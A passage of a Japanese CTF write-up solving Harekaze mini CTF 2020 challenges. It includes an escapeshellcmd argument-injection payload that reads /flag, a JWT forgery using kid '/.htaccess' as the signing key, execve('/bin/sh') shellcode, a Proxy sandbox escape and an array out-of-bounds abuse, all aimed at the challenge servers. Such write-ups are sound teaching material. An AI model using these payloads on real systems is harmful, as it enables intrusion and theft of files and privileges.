Harekaze mini CTF 2020 に1人チームで参加しました。
1953点で、順位表に載っている141チーム中12位でした。
Misc
Welcome
問題文にフラグが書かれている。
HarekazeCTF{4nch0rs_4we1gh}
NM Game
指定のサーバーとのTCP通信により以下のようなゲームができ、規定の回数勝てばフラグが得られる。
- 整数が1個または複数個出てくる。
- 自分が先手である。
- 自分とCPUが交互に以下の操作を行う。
- 減らす整数(複数個ある場合)と減らす幅(負にならない範囲で、1～3の整数)を指定し、減らす。
- 全部の整数を0にする最後の操作をした方が勝ち。
整数が1個の場合は有名なゲームであり、整数が4の倍数になるように減らす幅を指定すればよい。
整数が2個の場合は、実験して相手の出方を観察した結果、整数の差が4の倍数になるように操作をすればよい。
整数が3個以上の場合はよくわからなかったが、Nimに似ているゲームだと思ったのでxorが関係しそうだと思い、
「全ての整数のxorが4の倍数になるように操作をすればよい」と予想した。この予想は正しかったようである。
手動でやるのはつらいので、以下のプログラムで操作をさせた。
solve.pl
#!/usr/bin/perl
use IO::Socket;
$sock = new IO::Socket::INET(PeerAddr=>'20.48.84.64', PeerPort=>20001, Proto=>'tcp');
sub read_to_prompt {
local $/ = " ";
while (my $line = $sock->getline) {
print $line;
if (substr($line, length($line) - 3) eq "]: ") { return; }
}
close $sock;
exit;
}
while (my $line = <$sock>) {
print $line;
my $line2 = $line;
chomp($line2);
if ($line2 =~ /^\d+( \d+)*$/) {
my @data = split(/ /, $line2);
my $heap = -1;
my $pebble = -1;
my $fallback = -1;
for (my $i = 0; $heap < 0 && $i < @data; $i++) {
if ($fallback < 0 && $data[$i] > 0) { $fallback = $i; }
for (my $j = 1; $j <= 3 && $j <= $data[$i]; $j++) {
my $check = 0;
for (my $k = 0; $k < @data; $k++) {
$check ^= ($k == $i ? $data[$k] - $j : $data[$k]);
}
if ($check % 4 == 0) {
$heap = $i;
$pebble = $j;
last;
}
}
}
if ($heap < 0) {
if ($fallback < 0) {
close $sock;
exit;
} else {
$heap = $fallback;
$pebble = 1;
}
}
if (@data > 1) {
&read_to_prompt();
print $sock "$heap\n";
print "$heap\n";
}
&read_to_prompt();
print $sock "$pebble\n";
print "$pebble\n";
}
}
close $sock;
実行結果の最初と最後は、以下のようになった。
実行結果
Be the last to take a pebble!
Creating a new problem...
23
How many pebbles do you want to take? [1-3]: 3
The opponent took 2 from 0
18
How many pebbles do you want to take? [1-3]: 2
The opponent took 2 from 0
14
How many pebbles do you want to take? [1-3]: 2
The opponent took 1 from 0
11
How many pebbles do you want to take? [1-3]: 3
The opponent took 3 from 0
5
How many pebbles do you want to take? [1-3]: 1
The opponent took 3 from 0
1
How many pebbles do you want to take? [1]: 1
Won!
Remaining games: 14
Creating a new problem...
17 16
Choose a heap [0-1]: 0
How many pebbles do you want to take? [1-3]: 1
The opponent took 3 from 0
13 16
Choose a heap [0-1]: 0
How many pebbles do you want to take? [1-3]: 1
The opponent took 1 from 1
12 15
Choose a heap [0-1]: 0
How many pebbles do you want to take? [1-3]: 1
The opponent took 3 from 0
8 15
Choose a heap [0-1]: 0
How many pebbles do you want to take? [1-3]: 1
The opponent took 2 from 0
5 15
Choose a heap [0-1]: 0
How many pebbles do you want to take? [1-3]: 2
The opponent took 3 from 0
0 15
Choose a heap [0-1]: 1
How many pebbles do you want to take? [1-3]: 3
The opponent took 2 from 1
0 10
Choose a heap [0-1]: 1
How many pebbles do you want to take? [1-3]: 2
The opponent took 2 from 1
0 6
Choose a heap [0-1]: 1
How many pebbles do you want to take? [1-3]: 2
The opponent took 1 from 1
0 3
Choose a heap [0-1]: 1
How many pebbles do you want to take? [1-3]: 3
Won!
Remaining games: 13
Creating a new problem...
25 29 25
0 0 0 0 0 0 0 0 0 0 0 0 0 9 4
Choose a heap [0-14]: 13
How many pebbles do you want to take? [1-3]: 1
The opponent took 1 from 13
0 0 0 0 0 0 0 0 0 0 0 0 0 7 4
Choose a heap [0-14]: 13
How many pebbles do you want to take? [1-3]: 3
The opponent took 3 from 14
0 0 0 0 0 0 0 0 0 0 0 0 0 4 1
Choose a heap [0-14]: 13
How many pebbles do you want to take? [1-3]: 3
The opponent took 1 from 13
0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
Choose a heap [0-14]: 14
How many pebbles do you want to take? [1]: 1
Won!
Remaining games: 0
Congratulations! Here is the flag: HarekazeCTF{pe6b1y_qRundY_peb6l35}
HarekazeCTF{pe6b1y_qRundY_peb6l35}
Proxy Sandbox
JavaScriptのコードを指定し、評価結果を得られるWebサービスが用意された。
このとき、flagプロパティを持つオブジェクトをProxyでラップし、
getを用いてflagプロパティや存在しないプロパティへのアクセスに対し
undefinedを返すようにしてあるオブジェクトobjを用いた式を評価させることができた。
また、ProxyにはgetOwnPropertyDescriptorの定義もあった。
Object - JavaScript | MDN を見ながらいろいろ試してみたところ、
Object.prototype.__defineGetter__() - JavaScript | MDN に載っている
Object.defineProperty()を用い、thisを返す関数を指定することで、
Ploxyの影響を受けないオブジェクトを取り出せるようだということがわかった。
すなわち、以下のコードを指定して評価させることで、flagの値を得ることができた。
Object.defineProperty(obj, 'xxx', {
get: function() {
return this;
}
});
obj.xxx.flag
HarekazeCTF{y0u_4re_4ppr0xim4tely_pr0_0f_pr0xy}
Web
What time is it now?
dateコマンドに渡す引数を指定し、出力結果を得られるWebサービスが用意された。
この引数は、PHPのescapeshellcmd関数を用いて加工されていた。
escapeshellcmdでググると、以下のページが見つかった。
PHPのescapeshellcmdの危険性 | 徳丸浩の日記
このページによれば、この関数は対になったクオートをエスケープしないため、コマンドを区切ることができるようだ。
Webサービス中の「What time is it now in UNIX time?」ボタンを押すとパラメータが%sとなるので、
ここに' --help 'a を書き加えた%s' --help 'aを指定すると、ヘルプが出力された。
HTMLとしてレンダリングされた表示だと見づらいので、ブラウザの機能でソースを表示すると、
普通のテキストでヘルプが見られる。
その中に
-f, --file=DATEFILE like --date; once for each line of DATEFILE
というオプションがあり、これを使えばファイルの中身が読めそうである。
具体的にどのファイルを読めばいいかは、配布されたファイル中のDockerfileに
RUN echo "HarekazeCTF{<censored>}" > "/flag"
という行があったため、/flagであると推測できた。
これを用い、Webサービスのパラメータに%s' --file='/flagを指定することで、
date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}'
という出力が得られた。
ここに出力されたフラグのようなものをそのまま入れても不正解だったが、\を抜くと正解になった。
HarekazeCTF{1t's_7pm_1n_t0ky0}
JWT is secure
JWTにより署名がされた情報をCookieに入れることでログインユーザー情報を管理するWebサービスが用意された。
この情報は、(署名の情報のbase64エンコード).(メッセージのbase64エンコード).(署名のbase64エンコード)
という構造である。
適当にユーザー名aaaでログインしたところ、
署名の情報は{"typ":"JWT","kid":"f1ef22182d024af3","alg":"HS256"}
メッセージは{"username":"aaa","role":"user"}
となった。
また、配布されたソースコードより、このroleをadminにすれば
admin用のページに書かれたフラグを見ることができそうであった。
JWTについて調べた結果、
JWT(JSON Web Token)の「仕組み」と「注意点」 - わくわくBank
によると、algがHS系だと改ざんが可能らしい。
配布されたソースコードより、algがnoneでは拒否されるが、HS系は使える、
というよりHS系しか使えないようであった。
また、このWebサービスにおける署名は、keyさえわかれば勝手に作れるようであった。
keyは、配布されたsession.phpより、keysディレクトリ内の、
署名の情報内のkidを用いて指定される場所に保存されるようだ。
さらにソースコードや配布されたデータを観察すると、keysディレクトリ内にはファイル.htaccessがあり、
kidを/.htaccessとすれば、このファイル.htaccessのデータをkeyとして使ってくれるようだった。
これに基づき、
署名の情報を{"typ":"JWT","kid":"/.htaccess","alg":"HS256"}
メッセージを{"username":"aaa","role":"admin"}
とし、配布されたutil.phpを参考に以下のコードで署名を生成した。
base64のエンコードやデコードには、CyberChefを使用した。
<?php
$data = "eyJ0eXAiOiJKV1QiLCJraWQiOiIvLmh0YWNjZXNzIiwiYWxnIjoiSFMyNTYifQ.eyJ1c2VybmFtZSI6ImFhYSIsInJvbGUiOiJhZG1pbiJ9";
$key = "deny from all";
echo base64_encode(hash_hmac('sha256', $data, $key, TRUE));
さらに手動で微調整した署名をくっつけ、ブラウザの開発者ツールを用いてCookieのjwtsessionを
eyJ0eXAiOiJKV1QiLCJraWQiOiIvLmh0YWNjZXNzIiwiYWxnIjoiSFMyNTYifQ.eyJ1c2VybmFtZSI6ImFhYSIsInJvbGUiOiJhZG1pbiJ9.iGk0h1V9G9l2gPP0b7hJ8ypkICGJKQ3_Dhd5_9V-WG8
とすることで、adminとしてログインしていると認識され、admin用ページでflagを閲覧できた。
HarekazeCTF{l1st3n_1_just_g1v3_y0u_my_fl4g_4t4sh1_n0_w4v3_w0_t0b4sh1t3_m1ruk4r4}
Crypto
QR
flagを表すQRコードを作り、そのリストでの表現について各2x2マスの和を4で割った余りを出力するプログラム、
およびその出力が与えられた。
浜松町は関係なさそうである。
以下の考察に役立つよう、ここにQRコードの例を置いておこう。
与えられた出力の最初の値は3だったため、ここで用いられているQRコードのリストでの表現は
黒を1、白を0で表し、まわりの余白の分は表現に入っていないと推測できた。
また、この例でもみられるように、上から7行目および左から7列目(1-origin)については、
最初と最後の7個が黒で、残りが位置合わせ用に白と黒が交互になっていることが知られている。
したがって、ここを基準にして計算すれば、QRコードのリストでの表現全体を復元することができる。
以下のコードで復元を行った。
solve.py
data = [[3, 2, 2, 2, 2, 3, 2, 1, 1, 1, 2, 2, 1, 1, 2, 3, 3, 3, 3, 2, 1, 1, 2, 3, 2, 2, 3, 2, 2, 2, 2, 3], [2, 1, 2, 2, 1, 2, 2, 0, 1, 2, 2, 3, 3, 1, 0, 2, 0, 0, 3, 2, 2, 1, 1, 3, 2, 2, 2, 1, 2, 2, 1, 2], [2, 2, 0, 0, 2, 2, 2, 1, 2, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 2, 2, 2, 3, 0, 2, 2, 2, 2, 0, 0, 2, 2], [2, 2, 0, 0, 2, 2, 2, 2, 3, 3, 3, 3, 2, 2, 3, 1, 1, 3, 3, 3, 2, 2, 0, 0, 2, 2, 2, 2, 0, 0, 2, 2], [2, 1, 2, 2, 1, 2, 2, 2, 0, 0, 2, 2, 3, 3, 2, 1, 2, 3, 3, 3, 2, 1, 2, 3, 2, 2, 2, 1, 2, 2, 1, 2], [3, 2, 2, 2, 2, 3, 2, 2, 3, 3, 2, 2, 3, 3, 2, 2, 2, 2, 3, 3, 2, 1, 1, 2, 2, 2, 3, 2, 2, 2, 2, 3], [2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 1, 1, 1, 2, 3, 3, 3, 2, 2, 3, 3, 3, 3, 2, 1, 2, 2, 2, 2, 2, 2], [1, 0, 0, 1, 1, 1, 2, 3, 2, 1, 1, 1, 1, 1, 2, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 1, 0, 1], [2, 1, 0, 1, 2, 2, 2, 3, 3, 2, 1, 2, 3, 2, 2, 2, 3, 3, 2, 2, 1, 2, 3, 2, 3, 3, 3, 3, 2, 2, 1, 1], [3, 3, 2, 2, 3, 3, 1, 1, 3, 3, 1, 2, 3, 1, 2, 3, 3, 0, 2, 1, 2, 3, 0, 3, 2, 2, 3, 2, 0, 1, 1, 0], [2, 3, 0, 0, 0, 3, 1, 0, 2, 2, 1, 3, 2, 1, 2, 1, 2, 0, 3, 3, 0, 3, 2, 2, 2, 2, 3, 2, 0, 0, 1, 1], [0, 2, 3, 2, 3, 3, 2, 2, 2, 1, 2, 3, 2, 3, 3, 1, 2, 0, 0, 0, 0, 3, 2, 1, 2, 3, 2, 2, 2, 1, 2, 3], [0, 2, 3, 2, 3, 3, 3, 3, 2, 2, 2, 1, 1, 2, 2, 2, 3, 3, 2, 2, 3, 0, 0, 3, 2, 2, 2, 2, 2, 2, 3, 3], [0, 2, 0, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 1, 2, 3, 2, 1, 1, 2, 2, 3, 0, 3, 1, 1, 1, 0, 2, 0, 2], [1, 3, 0, 3, 2, 2, 2, 3, 3, 1, 1, 3, 0, 0, 2, 1, 2, 2, 2, 3, 3, 1, 1, 2, 3, 2, 0, 0, 0, 1, 2, 1], [3, 3, 3, 0, 3, 2, 1, 2, 3, 1, 0, 1, 3, 0, 3, 2, 3, 2, 1, 2, 3, 3, 1, 0, 1, 2, 2, 2, 1, 0, 1, 1], [3, 2, 2, 3, 0, 3, 2, 3, 3, 2, 2, 1, 2, 3, 2, 3, 3, 2, 1, 1, 3, 0, 3, 1, 1, 3, 0, 3, 1, 1, 2, 1], [3, 2, 2, 2, 2, 2, 3, 0, 2, 1, 3, 2, 1, 2, 2, 3, 3, 3, 2, 2, 0, 0, 0, 2, 2, 3, 2, 2, 2, 3, 2, 0], [0, 2, 1, 2, 1, 1, 3, 0, 2, 0, 1, 2, 2, 3, 3, 3, 0, 3, 2, 3, 0, 3, 2, 2, 3, 2, 1, 3, 3, 2, 2, 1], [3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 3, 2, 1, 3, 2, 1, 2, 2, 2, 1, 1, 2, 2, 3, 3, 1, 0, 2, 3], [3, 3, 2, 1, 2, 3, 2, 2, 2, 3, 3, 2, 1, 1, 1, 0, 2, 3, 2, 1, 1, 3, 3, 2, 1, 2, 0, 2, 1, 1, 2, 0], [2, 2, 1, 0, 2, 3, 3, 3, 2, 3, 0, 3, 1, 0, 1, 1, 1, 2, 2, 1, 2, 0, 0, 3, 1, 1, 2, 1, 2, 3, 3, 3], [0, 2, 3, 2, 2, 2, 3, 2, 0, 2, 3, 1, 0, 1, 3, 2, 1, 2, 2, 2, 3, 3, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2], [2, 3, 0, 3, 1, 1, 2, 2, 1, 2, 2, 1, 2, 2, 3, 3, 2, 2, 2, 2, 3, 2, 0, 1, 3, 0, 0, 0, 2, 0, 1, 2], [2, 2, 2, 1, 0, 1, 1, 2, 2, 2, 2, 1, 3, 2, 2, 0, 3, 1, 1, 1, 2, 3, 1, 2, 3, 2, 2, 3, 3, 2, 2, 1], [2, 2, 2, 2, 2, 2, 1, 2, 3, 2, 1, 0, 1, 1, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 1, 1, 2, 3, 2, 1, 0], [3, 2, 2, 2, 2, 3, 2, 1, 2, 1, 0, 0, 1, 2, 3, 3, 2, 2, 1, 2, 3, 1, 1, 3, 2, 1, 1, 2, 2, 0, 0, 0], [2, 1, 2, 2, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2, 2, 3, 0, 2, 1, 3, 0, 3, 1, 2, 3, 2, 2, 3, 2, 0, 0, 1], [2, 2, 0, 0, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 3, 0, 3, 2, 2, 2, 2, 1, 2, 3, 3, 3, 3, 3, 2, 1, 1], [2, 2, 0, 0, 2, 2, 2, 0, 2, 2, 0, 1, 2, 2, 3, 0, 3, 3, 2, 1, 2, 2, 1, 1, 2, 2, 1, 2, 3, 3, 2, 0], [2, 1, 2, 2, 1, 2, 2, 0, 2, 2, 0, 2, 3, 2, 3, 3, 2, 3, 2, 1, 3, 0, 2, 1, 3, 3, 1, 1, 2, 2, 1, 0], [3, 2, 2, 2, 2, 3, 2, 1, 2, 2, 1, 1, 2, 3, 3, 2, 3, 3, 1, 0, 2, 0, 3, 3, 3, 2, 1, 1, 3, 2, 0, 1]]
result = [[-1 for _ in range(len(data[0]) + 1)] for _ in range(len(data) + 1)]
q = []
def solve(y, x):
if result[y][x] >= 0: return result[y][x]
if y > 0 and x > 0:
if result[y-1][x-1] >= 0 and result[y-1][x] >= 0 and result[y][x-1] >= 0:
if data[y-1][x-1] != 0:
return data[y-1][x-1] - result[y-1][x-1] - result[y-1][x] - result[y][x-1]
else:
return result[y-1][x-1]
if y > 0 and x < len(data[0]):
if result[y-1][x] >= 0 and result[y-1][x+1] >= 0 and result[y][x+1] >= 0:
if data[y-1][x] != 0:
return data[y-1][x] - result[y-1][x] - result[y-1][x+1] - result[y][x+1]
else:
return result[y-1][x]
if y < len(data) and x > 0:
if result[y][x-1] >= 0 and result[y+1][x-1] >= 0 and result[y+1][x] >= 0:
if data[y][x-1] != 0:
return data[y][x-1] - result[y][x-1] - result[y+1][x-1] - result[y+1][x]
else:
return result[y][x-1]
if y < len(data) and x < len(data[0]):
if result[y][x+1] >= 0 and result[y+1][x] >= 0 and result[y+1][x+1] >= 0:
if data[y][x] != 0:
return data[y][x] - result[y][x+1] - result[y+1][x] - result[y+1][x+1]
else:
return result[y][x+1]
return -1;
def decide(y, x, v):
result[y][x] = v
for ny in [y-1, y, y+1]:
for nx in [x-1, x, x+1]:
if 0 <= ny and 0 <= nx and ny < len(result) and nx < len(result[0]):
if result[ny][nx] == -1 and solve(ny, nx) >= 0:
result[ny][nx] = -2
q.append((ny, nx))
for y in range(len(result)):
if y < 7 or len(result)-7 <= y:
result[y][6] = 1
else:
result[y][6] = 1 - y % 2
for x in range(len(result[0])):
if x < 7 or len(result[0])-7 <= x:
result[6][x] = 1
else:
result[6][x] = 1 - x % 2
decide(6, 6, 1)
while len(q) > 0:
y, x = q[0]
q = q[1:]
decide(y, x, solve(y, x))
print(result)
print()
for row in result:
row_str = ""
for cell in row:
if cell == 0:
row_str += ' '
elif cell == 1:
row_str += '*'
else:
row_str += '?'
print(row_str)
このコードにより半角空白とアスタリスクで表せれたQRコードの情報が得られるが、
このままだとPsytec QR Code Editorで読み取れなそうだった。
そこで、以下のHSPのコードにより画像への変換を行うことで、読み取れるようになった。
render.hsp
data = ""
mesbox data, 300, 300, 1, 0
button goto "生成", *render
stop
*render
notesel data
rows = notemax
noteget one, 0
cols = strlen(one)
mult = 10
screen 1, mult * (cols + 8), mult * (rows + 8)
color 0, 0, 0
for y, 0, rows, 1
noteget row, y
for x, 0, cols, 1
if strmid(row, x, 1) == "*" {
boxf mult * (x + 4), mult * (y + 4), mult * (x + 5), mult * (y + 5)
}
next
next
bmpsave "result.bmp"
stop
HarekazeCTF{d0_y0u_7hink_qr_ch4113ng3_i5_r3411y_in_d3m4nd}
※「QRコード」はデンソーウェーブの登録商標です。
Pwn
Shellcode
TCPサーバー、およびそこで動いていると推測されるプログラムのC言語のソースコードとバイナリが用意された。
サーバーに接続すると、以下のような出力がされ、このあと読み込んだデータを実行してくれるようだ。
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)
この/bin/shの情報は、何度か実行したが変わらないようである。
これを用いて、書いてある通り素直にexecve("/bin/sh", NULL, NULL)を実行すればよさそうだ。
ただし、ソースコードによれば実行前に"Clear rsp and rbp"が行われるようだ。
Searchable Linux Syscall Table for x86 and x86_64 | PyTux
およびそこからリンクされているsyscall(2) — manpages-dev — Debian unstable — Debian Manpages
を参考に、NASMを用いて実行させるデータの作成を行った。
作成したデータのソースコードは
bits 64
mov eax, 59
mov rdi, 0x404060
xor rsi, rsi
xor rdx, rdx
syscall
バイナリの文字列表現は
<b8><3b><00><00><00><bf><60><40><40><00><48><31><f6><48><31><d2><0f><05>
である。
これに基づき、TCP/IPテストツールで通信を行った。
最初にアセンブルしたデータを送信することで/bin/shが実行されるので、後は普通にシェルが操作できる。
どこまでを実行するデータとして使うかは、どこまでを一度に送信するかに依存するようだ。TCPなのに行儀が悪い。
lsを用いて調べた結果、/home/shellcodeにflagというファイルがあることがわかり、
これをcatすることでフラグが得られた。
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
NM Game Extreme
TCPで先程のNM Gameのようなゲームが実行できるサーバー、
そしてそこで動いていると推測できるプログラムのC言語のソースコードとバイナリが用意された。
ソースコードによれば、400ゲームのクリアが要求されるのに対し、制限時間が300秒であり、
かつ各ゲームの開始時に1秒のsleepが入るため、まともにやっては絶対クリアできなそうである。
このソースコードを見ると、main()関数のstaticでないローカル変数として、
数値群を管理するint型の要素の配列nums、
残りの要求ゲーム数を管理するint型の変数remaining_games、
ゲームで扱う数値の数を管理するint型の変数nなどがあった。
さらに、配列numsの要素を指定する際、範囲のチェックを行っていないため、
本来の数値のかわりにremaining_gamesやnを減らせそうである。
バイナリをTDM-GCCのobjdumpで逆アセンブルして観察すると、
14e6で0x190 (400) が代入されていることから-0xa0(%rbp)がremaining_gamesに、
1539で呼び出されているinit_gameの引数から
-0x90(%rbp)がnumsに、-0x9c(%rbp)がnに対応することがわかった。
したがって、減らす数値を指定する時に-4を指定すればremaining_gamesを、
-3を指定すればnを減らすことができるとわかった。
これに基づき、以下の戦略のプログラムを書き、実行した。
- 今のゲームに1手で勝てる時は、勝つ。
- そうでなく、
nが3以上の時は、nが2になるように減らす。
(今のnの値は、出力される整数の個数からわかる) - そうでなく、
remaining_gamesが2以上の時は、remaining_gamesが1になるように減らす。
(今のremaining_gamesの値は、ゲーム終了時に出力され、そこから減らす操作をした分減らすことでわかる) - そうでない時は、普通にゲームに勝てる手を出す。
以下がそのプログラムである。
solve.pl
#!/usr/bin/perl
use IO::Socket;
$sock = new IO::Socket::INET(PeerAddr=>'20.48.84.13', PeerPort=>20003, Proto=>'tcp');
sub read_to_prompt {
local $/ = " ";
while (my $line = $sock->getline) {
print $line;
if (substr($line, length($line) - 3) eq "]: ") { return; }
}
close $sock;
exit;
}
my $rg = 400;
while (my $line = <$sock>) {
print $line;
if ($line =~ /games: (\d+)/) {
$rg = $1;
}
my $line2 = $line;
chomp($line2);
if ($line2 =~ /^\d+( \d+)*$/) {
my @data = split(/ /, $line2);
my $heap = -1;
my $pebble = -1;
my $fallback = -1;
my $nonzero_count = 0;
for (my $i = 0; $i < @data; $i++) {
$data[$i] = int($data[$i]);
if ($fallback < 0 && $data[$i] > 0) { $fallback = $i; }
if ($data[$i] > 0) { $nonzero_count++; }
}
for (my $i = 0; $heap < 0 && $i < @data; $i++) {
for (my $j = 1; $j <= 3 && $j <= $data[$i]; $j++) {
my $check = 0;
for (my $k = 0; $k < @data; $k++) {
$check ^= ($k == $i ? $data[$k] - $j : $data[$k]);
}
if ($check % 4 == 0) {
$heap = $i;
$pebble = $j;
last;
}
}
}
if ($heap < 0) {
if ($fallback < 0) {
close $sock;
exit;
} else {
$heap = $fallback;
$pebble = 1;
}
}
if (@data > 1) {
if ($nonzero_count > 1 || $data[$heap] > $pebble) {
if (@data > 2) {
$heap = -3;
$pebble = 3;
if (@data < 5) { $pebble = @data - 2; }
} elsif ($rg > 1) {
$heap = -4;
$pebble = 3;
if ($rg < 4) { $pebble = $rg - 1; }
$rg -= $pebble;
}
}
&read_to_prompt();
print $sock "$heap\n";
print "$heap\n";
}
&read_to_prompt();
print $sock "$pebble\n";
print "$pebble\n";
}
}
close $sock;
HarekazeCTF{1o0ks_lik3_w3_mad3_A_m1st4ke_ag41n}
Reversing
Easy Flag Checker
ELFファイルが与えられた。
TDM-GCCのobjdumpを用いて逆アセンブルし、
得られた処理のうちcheck関数とその上の小さい3個の関数をC言語で書き下すと、以下のようになった。
ただし、配列funcsの場所は逆アセンブル結果では404090となっていたが、
上の関数のアドレスが格納されていると仮定してバイナリエディタTSXBINでELFファイルから検索すると、
データはファイル上では0x3090バイト目(0-origin)から格納されているようであることがわかった。
この関係から、場所が404060となっている配列tableのデータは
0x3060バイト目(0-origin)から格納されていると推測できた。
kakikudasi_rev1.c
#include <inttypes.h>
uint32_t add(uint32_t edi, uint32_t esi) {
return (uint32_t)(uint8_t)esi + (uint32_t)(uint8_t)edi;
}
uint32_t sub(uint32_t edi, uint32_t esi) {
return (uint32_t)(uint8_t)edi - (uint32_t)(uint8_t)esi;
}
uint32_t xor(uint32_t edi, uint32_t esi) {
return (uint32_t)(uint8_t)edi ^ (uint8_t)esi;
}
uint32_t(*funcs[])(uint32_t, uint32_t) = {add, sub, xor};
uint8_t table[] = {
0xE2, 0x00, 0x19, 0x00, 0xFB, 0x0D, 0x19, 0x02, 0x38, 0xE0, 0x22, 0x12, 0xBD, 0xED, 0x1D, 0xF5,
0x2F, 0x0A, 0xC1, 0xFC, 0x00, 0xF2, 0xFC, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3C, 0x05, 0x39,
0x13, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int check(uint64_t rdi_arg, uint64_t rsi_arg) {
uint64_t rax, rcx, rdx, rsi;
uint64_t rbp_18 = rdi_arg;
uint64_t rbp_20 = rsi_arg;
uint32_t rbp_4 = 0;
uint8_t rbp_5;
goto label_4012b5;
label_40120f:
rcx = rbp_4;
rax = (int64_t)(int32_t)rcx;
rax = (int64_t)rax * 0x55555556;
rax >>= 0x20;
rdx = rax;
rax = (uint32_t)rcx;
rax = (int32_t)rax >> 0x1f;
rdx = (uint32_t)rdx - (uint32_t)rax;
rax = (uint32_t)rdx;
rax = (uint32_t)((uint32_t)rax + (uint32_t)rax);
rax = (uint32_t)((uint32_t)rax + (uint32_t)rdx);
rcx = (uint32_t)((uint32_t)rcx - (uint32_t)rax);
rdx = (uint32_t)rcx;
rax = (int64_t)(int32_t)rdx;
rcx = (uint64_t)funcs[rax];
rax = (int64_t)(int32_t)rbp_4;
/* 40124f */
rax = table[rax];
rdx = (uint32_t)(int32_t)(int8_t)rax;
rax = rbp_4;
rsi = (int64_t)(int32_t)rax;
rax = rbp_20;
rax += rsi;
rax = *(uint8_t*)rax;
rax = (uint32_t)(int32_t)(int8_t)rax;
rax = ((uint32_t(*)(uint32_t, uint32_t))rcx)(rax, rdx);
/* 401276 */
rbp_5 = rax;
rax = rbp_4;
rdx = (int64_t)(int32_t)rax;
rax = rbp_18;
rax += rdx;
rax = *(uint8_t*)rax;
if ((int8_t)rbp_5 - (int8_t)rax >= 0) goto label_401295;
rax = 1;
goto label_4012c4;
label_401295:
rax = rbp_4;
rdx = (int64_t)(int32_t)rax;
rax = rbp_18;
rax += rdx;
rax = *(int8_t*)rax;
if ((int8_t)rbp_5 - (int8_t)rax <= 0) goto label_4012b1;
rax = 0xffffffff;
goto label_4012c4;
label_4012b1:
rbp_4 += 1;
label_4012b5:
if ((int32_t)rbp_4 - INT32_C(0x22) <= 0) goto label_40120f;
rax = 0;
label_4012c4:
return rax;
}
ここから計算をまとめたりgotoの代わりに普通の制御構文を使ったりしていくと、以下のようになった。
kakikudasi_rev2.c
#include <inttypes.h>
uint8_t add(uint8_t edi, uint8_t esi) {
return esi + edi;
}
uint8_t sub(uint8_t edi, uint8_t esi) {
return edi - esi;
}
uint8_t xor(uint8_t edi, uint8_t esi) {
return edi ^ esi;
}
uint8_t(*funcs[])(uint8_t, uint8_t) = {add, sub, xor};
uint8_t table[] = {
0xE2, 0x00, 0x19, 0x00, 0xFB, 0x0D, 0x19, 0x02, 0x38, 0xE0, 0x22, 0x12, 0xBD, 0xED, 0x1D, 0xF5,
0x2F, 0x0A, 0xC1, 0xFC, 0x00, 0xF2, 0xFC, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3C, 0x05, 0x39,
0x13, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int check(const uint8_t* rdi_arg, const uint8_t* rsi_arg) {
int32_t rbp_4;
uint8_t rbp_5;
for (rbp_4 = 0; rbp_4 <= 0x22; rbp_4++) {
uint32_t eax;
eax = ((uint32_t)((rbp_4 * INT64_C(0x55555556)) >> 0x20) - (rbp_4 >> 0x1f)) * 3;
/* 40124f */
rbp_5 = funcs[rbp_4 - eax](rsi_arg[rbp_4], table[rbp_4]);
/* 401276 */
if ((int8_t)rbp_5 < (int8_t)rdi_arg[rbp_4]) return 1;
if ((int8_t)rbp_5 > (int8_t)rdi_arg[rbp_4]) return -1;
}
return 0;
}
eaxに代入している複雑な式が気になるが、要素数3と推測される配列funcsの添字に使っていることから
これはrbp_4を3で割ったあまりの計算であると推測でき、実験すると実際にそうなっていることがわかった。
この変換を適用し、さらに型や変数名を整えると、以下のようになった。
なお、charが符号付きかどうかは処理系定義だが、符号付きの処理系を使うこととする。
kakikudasi_rev3.c
char add(char edi, char esi) {
return esi + edi;
}
char sub(char edi, char esi) {
return edi - esi;
}
char xor(char edi, char esi) {
return edi ^ esi;
}
const char(*funcs[])(char, char) = {add, sub, xor};
const char table[] = {
0xE2, 0x00, 0x19, 0x00, 0xFB, 0x0D, 0x19, 0x02, 0x38, 0xE0, 0x22, 0x12, 0xBD, 0xED, 0x1D, 0xF5,
0x2F, 0x0A, 0xC1, 0xFC, 0x00, 0xF2, 0xFC, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3C, 0x05, 0x39,
0x13, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int check(const char* input, const char* data_for_gen) {
int i;
for (i = 0; i < 35; i++) {
char func_ret = funcs[i % 3](data_for_gen[i], table[i]);
if (input[i] > func_ret) return 1;
if (input[i] < func_ret) return -1;
}
return 0;
}
これで、check関数はdata_for_genに入力されたデータとtableのデータに基づいて適当な計算をし、
その結果とinputのデータが一致しているかを求めていることがわかる。
したがって、inputを無視して、この計算結果だけを求めればよさそうだ。
逆アセンブル結果とELFファイルより、data_for_genには
"fakeflag{this_is_not_the_real_flag}"を渡していることがわかるので、
以下のコードにより計算結果を求めることができる。
get.c
#include <stdio.h>
char add(char edi, char esi) {
return esi + edi;
}
char sub(char edi, char esi) {
return edi - esi;
}
char xor(char edi, char esi) {
return edi ^ esi;
}
const char(*funcs[])(char, char) = {add, sub, xor};
const char table[] = {
0xE2, 0x00, 0x19, 0x00, 0xFB, 0x0D, 0x19, 0x02, 0x38, 0xE0, 0x22, 0x12, 0xBD, 0xED, 0x1D, 0xF5,
